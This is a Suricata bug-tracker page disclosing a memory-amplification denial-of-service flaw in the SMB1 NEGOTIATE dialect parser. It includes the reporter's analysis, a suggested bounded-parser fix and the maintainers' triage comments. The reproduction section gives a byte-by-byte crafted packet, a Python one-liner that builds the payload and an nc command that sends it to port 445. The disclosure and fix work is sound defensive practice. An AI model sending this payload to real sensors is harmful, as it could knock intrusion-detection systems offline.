Project

General

Profile

Actions

Bug #8852

open
SB VJ

smb1: unbounded vector growth in NEGOTIATE dialect list

Bug #8852: smb1: unbounded vector growth in NEGOTIATE dialect list

Added by Shivani Bhardwaj about 1 month ago. Updated 1 day ago.

Status:
Resolved
Priority:
Normal
Assignee:
Target version:
Affected Versions:
Effort:
Difficulty:
Label:

Description

Reported by Communications Security Establishment (CSE):

## Summary

The SMB1 `NEGOTIATE_PROTOCOL` request parser builds a `Vec<&[u8]>` of dialect strings
using an unbounded `many1` combinator over the entire remainder of the SMB record.
Because each iteration can consume as little as a single `0x00` byte while pushing a
16-byte fat-pointer slice into the result vector, an attacker who sends one ~16 MiB SMB1
NEGOTIATE request filled with NUL bytes forces a transient ~256 MiB heap allocation
(≈384 MiB peak during the final `Vec` doubling) from 16 MiB of wire data — a 16–24×
amplification per flow. No configuration guard limits the element count: the only
upstream caps are the 24-bit NBSS length and the optional `stream-depth` setting, which
defaults to unlimited. Multiple concurrent flows multiply the effect linearly and can
drive the sensor to OOM-abort.

## Affected Piece of Code

- **File:** `rust/src/smb/smb1_records.rs`
- **Function / Location:** `parse_smb1_negotiate_protocol_record()` ~L209-218
- **Subsystem:** rust-smb — SMB1/SMB2/SMB3 parser, DCERPC-over-SMB, file extraction

```rust
rust/src/smb/smb1_records.rs:204-218
204  #[derive(Debug, PartialEq, Eq)]
205  pub struct Smb1NegotiateProtocolRecord<'a> {
206      pub dialects: Vec<&'a [u8]>,
207  }
208
209  pub fn parse_smb1_negotiate_protocol_record(
210      i: &[u8],
211  ) -> IResult<&[u8], Smb1NegotiateProtocolRecord<'_>> {
212      let (i, _wtc) = le_u8.parse(i)?;
213      let (i, _bcc) = le_u16.parse(i)?;
214      // dialects is a list of [1 byte buffer format][string][0 terminator]
215      let (i, dialects) = many1(complete(take_until_and_consume(b"\0"))).parse(i)?;
216      let record = Smb1NegotiateProtocolRecord { dialects };
217      Ok((i, record))
218  }
```

## The Bug

`parse_smb1_negotiate_protocol_record()` reads the one-byte `wct` and two-byte `bcc`
(ByteCount) fields but discards both, then hands the **entire remaining slice** to
`many1(complete(take_until_and_consume(b"\0")))`. The helper `take_until_and_consume`
(`rust/src/common.rs:73-81`) returns everything up to the next `0x00` and consumes that
terminator; when the very first byte is `0x00` it returns an empty `&[u8]` and advances
exactly one byte. `many1` therefore happily loops once per NUL byte, and on each
iteration pushes a `&[u8]` fat pointer (16 bytes on x86_64: 8-byte data pointer + 8-byte
length) into the result `Vec`. Nothing in the combinator chain bounds the number of
iterations.

The input slice handed to this function is `r.data`, the post-header remainder of the
SMB record, whose size is bounded only by the 24-bit NBSS length field (max 0x00FFFFFF =
16,777,215 bytes). After subtracting the 32-byte SMB1 header and the 3 bytes of
`wct`/`bcc`, an attacker controls up to 16,777,180 bytes of dialect payload. Filling
that region with `0x00` yields 16,777,180 loop iterations and a `Vec<&[u8]>` whose
backing store grows (by power-of-two doubling) to 16,777,216 entries × 16 B = **256
MiB**. During the final doubling realloc both the old 128 MiB and new 256 MiB buffers
coexist, giving a peak of ≈384 MiB — all triggered by ~16 MiB on the wire.

The downstream consumer in `rust/src/smb/smb1.rs:474-510` iterates this `Vec` and copies
each non-empty entry into a second `Vec<Vec<u8>>`; because every entry is empty, that
second vector stays empty and an `SMBEvent::NegotiateMalformedDialects` event is raised.
The persistent transaction state therefore does not grow — the problem is purely the
**transient 256 MiB allocation inside the parser**, which lives until `pr` goes out of
scope after the match arm returns. There is also a non-trivial CPU cost: ~16.7 million
nom combinator iterations per request.

**Network-to-sink call chain.** A network attacker sends a single TCP stream to port 445
(or any port the protocol-detection engine identifies as SMB). The app-layer engine
dispatches it as follows:

1. `SCRegisterSmbParser()` registers `parse_ts = smb_parse_request_tcp`
   (`rust/src/smb/smb.rs:2857`).
2. `smb_parse_request_tcp()` (`smb.rs:2470-2491`) → `SMBState::parse_tcp_data_ts()`
   (`smb.rs:1551`).
3. `parse_nbss_record()` (`rust/src/smb/nbss_records.rs:66-77`) reads the 4-byte NBSS
   header with `message_type=0x00` and a 24-bit length up to `0x00FFFFFF`. Until that
   many payload bytes are available it returns `Incomplete`; `parse_tcp_data_ts()` falls
   into the `Incomplete` arm (`smb.rs:1772-1792`), calls `parse_tcp_data_ts_partial()` —
   which only special-cases `SMB1 WRITE_ANDX` and returns `0` for NEGOTIATE
   (`smb.rs:1414-1446`) — and returns `AppLayerResult::incomplete()`. The C app-layer
   then buffers the full ~16 MiB record. This succeeds because
   `SMB_CONFIG_DEFAULT_STREAM_DEPTH = 0` (`smb.rs:85`) is passed to
   `SCAppLayerParserSetStreamDepth` (`smb.rs:2928`), i.e.
   `app-layer.protocols.smb.stream-depth` is unlimited by default.
4. Once the full record is buffered, `parse_nbss_record()` succeeds.
   `parse_smb_version()` sees `0xFF` (`smb.rs:1626`), so `parse_smb_record()`
   (`smb1_records.rs:981-1012`) consumes the 32-byte SMB1 header and stores the
   remaining ~16 MiB in `r.data` via `rest()`.
5. `flags` bit `0x80` is clear, so `smb_record.is_request()` is true and
   `smb1_request_record()` (`smb1.rs:642-668`) is invoked → `smb1_request_record_one()`
   with `command = 0x72` hits the `SMB1_COMMAND_NEGOTIATE_PROTOCOL` arm (`smb1.rs:474`)
   → `parse_smb1_negotiate_protocol_record(r.data)` (`smb1_records.rs:209-218`).
6. The unbounded `many1` loop runs ~16.7 million times and allocates ~256 MiB.

The only guards in this entire chain are the 24-bit NBSS length cap and the optional
`stream-depth` config; neither limits the **element count** of the dialect vector.
Vulnerability class: **network-reachable unbounded allocation (DoS)**.

## Reproduction Results

No special Suricata configuration or rule is required; the default `suricata.yaml` with
the SMB parser enabled (default) reproduces the issue because
`app-layer.protocols.smb.stream-depth` defaults to `0` (unlimited).

**Crafted TCP payload to port 445 (client→server direction), total 4 + 16,777,215 =
16,777,219 bytes:**

1. NBSS header (4 bytes):
   ```
   00 FF FF FF                                  ; type=0x00 SESSION_MESSAGE, length=0x00FFFFFF (16,777,215)
   ```

2. SMB1 header (32 bytes):
   ```
   FF 53 4D 42                                  ; \xFF 'S' 'M' 'B'
   72                                           ; command = 0x72 SMB_COM_NEGOTIATE
   00 00 00 00                                  ; nt_status
   00                                           ; flags (bit 0x80 clear ⇒ request)
   00 00                                        ; flags2
   00 00                                        ; pid_high
   00 00 00 00 00 00 00 00                      ; signature
   00 00                                        ; reserved
   00 00                                        ; tree_id
   00 00                                        ; process_id
   00 00                                        ; user_id
   00 00                                        ; multiplex_id
   ```

3. NEGOTIATE body — `wct`/`bcc` then all-zero filler (16,777,215 − 32 = 16,777,183
   bytes):
   ```
   00                                           ; wct = 0 (ignored)
   00 00                                        ; bcc = 0 (ignored)
   00 × 16,777,180                              ; 16,777,180 NUL bytes ⇒ 16,777,180 empty "dialects" 
   ```

4. Send this as a normal TCP stream. It may be split across many segments; the SMB
   app-layer will keep returning `AppLayerResult::incomplete` until all 16,777,219 bytes
   are buffered, then parse the record in a single call.

**Expected behaviour inside Suricata:** `parse_smb1_negotiate_protocol_record()` loops
16,777,180 times, building a `Vec<&[u8]>` whose backing allocation reaches 256 MiB
(capacity rounds to 16,777,216 entries × 16 B). The downstream loop at `smb1.rs:480-490`
then iterates 16.7 M times, but every slice is empty so the second `Vec<Vec<u8>>` stays
empty; an `SMBEvent::NegotiateMalformedDialects` event is raised. The 256 MiB is freed
when `pr` goes out of scope after the match arm returns. Opening *N* concurrent TCP
flows multiplies the transient heap by *N*.

**Python one-liner to generate the payload file for tcpreplay/netcat:**

```
python3 -c 'import sys,struct; sys.stdout.buffer.write(b"\x00\xff\xff\xff" + b"\xffSMB" + b"\x72" + b"\x00"*4 + b"\x00" + b"\x00"*2 + b"\x00"*2 + b"\x00"*8 + b"\x00"*2 + b"\x00"*2 + b"\x00"*2 + b"\x00"*2 + b"\x00"*2 + b"\x00"*16777183)' > smb1_neg_dos.bin
# then: nc <sensor-monitored-host> 445 < smb1_neg_dos.bin   (or wrap in a pcap and replay)
```

This trigger is **analytically derived** from source review of the call chain above; it
has not been executed against a live sensor in this audit, but every step of the path
was verified in source and there is no conditional that would reject the payload before
the vulnerable combinator runs.

## Severity

**MEDIUM** — Resource-exhaustion / DoS. A single 16 MiB request causes a transient ~256
MiB heap allocation (≈384 MiB peak during the `Vec` growth realloc) inside the worker
thread, plus ~16.7 million nom combinator iterations of CPU work; the allocation is
freed after the handler returns. Multiple concurrent flows (one per worker thread, or
rapid repetition on a single thread) can drive the process to OOM and abort, taking the
IDS/IPS offline. There is no information leak or RCE; Rust's global allocator aborts on
allocation failure rather than corrupting memory. Because the downstream `Vec<Vec<u8>>`
stays empty, there is no persistent state growth — the impact is bounded to transient
heap and CPU pressure during parsing.

## Suggested Fix

Bound the dialect list both by the on-wire ByteCount field and by a hard element cap.
Real SMB1 clients send fewer than ~20 dialects, so a cap of 256 is generous. Replace the
parser body with:

```rust
pub fn parse_smb1_negotiate_protocol_record(
    i: &[u8],
) -> IResult<&[u8], Smb1NegotiateProtocolRecord<'_>> {
    let (i, _wct) = le_u8.parse(i)?;
    let (i, bcc)  = le_u16.parse(i)?;
    // honour ByteCount instead of consuming the whole record remainder
    let (i, payload) = take(bcc as usize).parse(i)?;
    // hard cap on number of dialect entries to prevent Vec blow-up
    let (_, dialects) = many_m_n(1, 256,
            complete(take_until_and_consume(b"\0"))).parse(payload)?;
    Ok((i, Smb1NegotiateProtocolRecord { dialects }))
}
```

This limits the parsed body to 64 KiB (`bcc` is `u16`) and the `Vec` to ≤256 entries (≤4
KiB of fat pointers), eliminating the amplification entirely. Optionally also set an
`SMBEvent::NegotiateMalformedDialects` event when `bcc` exceeds a sane threshold (e.g. 4
KiB) so that the oversize attempt remains visible to detection rules even though the
parser no longer over-allocates.

Subtasks 1 (1 open0 closed)

Bug #8928: smb1: unbounded vector growth in NEGOTIATE dialect list (8.0.x backport)ResolvedVictor JulienActions

VJ Updated by Victor Julien about 1 month ago Actions #1

  • Subject changed from Unbounded Vec growth in SMB1 NEGOTIATE dialect list (16x memory amplification) to smb1: Unbounded Vec growth in SMB1 NEGOTIATE dialect list (16x memory amplification)

VJ Updated by Victor Julien about 1 month ago Actions #2

  • Status changed from New to In Progress
  • Assignee changed from OISF Dev to Victor Julien

JI Updated by Jason Ish 23 days ago Actions #3

  • Description updated (diff)

JI Updated by Jason Ish 23 days ago Actions #4

  • GHSA set to GHSA-32wc-5hmh-wj5j

JI Updated by Jason Ish 22 days ago Actions #5

  • Status changed from In Progress to In Review
  • Label Needs backport to 8.0 added

MR on GL for review.

OT Updated by OISF Ticketbot 22 days ago Actions #6

  • Subtask #8928 added

OT Updated by OISF Ticketbot 22 days ago Actions #7

  • Label deleted (Needs backport to 8.0)

PA Updated by Philippe Antoine 18 days ago Actions #8

  • Severity set to LOW

I do not think there is a security issue if this is transient only, or maybe LOW as 384 MiB is already a lot

SB Updated by Shivani Bhardwaj 12 days ago Actions #9

  • Subject changed from smb1: Unbounded Vec growth in SMB1 NEGOTIATE dialect list (16x memory amplification) to smb1: unbounded vector growth in NEGOTIATE dialect list

JI Updated by Jason Ish 9 days ago Actions #11

  • Disclosure Date set to 11/02/2026

VJ Updated by Victor Julien 1 day ago Actions #12

  • Tracker changed from Security to Bug
  • Private changed from Yes to No
  • Severity deleted (LOW)
  • Disclosure Date deleted (11/02/2026)
  • GHSA deleted (GHSA-32wc-5hmh-wj5j)

Considering this to be a bug.

JI Updated by Jason Ish 1 day ago Actions #13

  • Status changed from In Review to Resolved

Resolved with commit ba1cafd34e875e8e2a96f7f9fe9464d87d2b1144.

Actions

Also available in: PDF Atom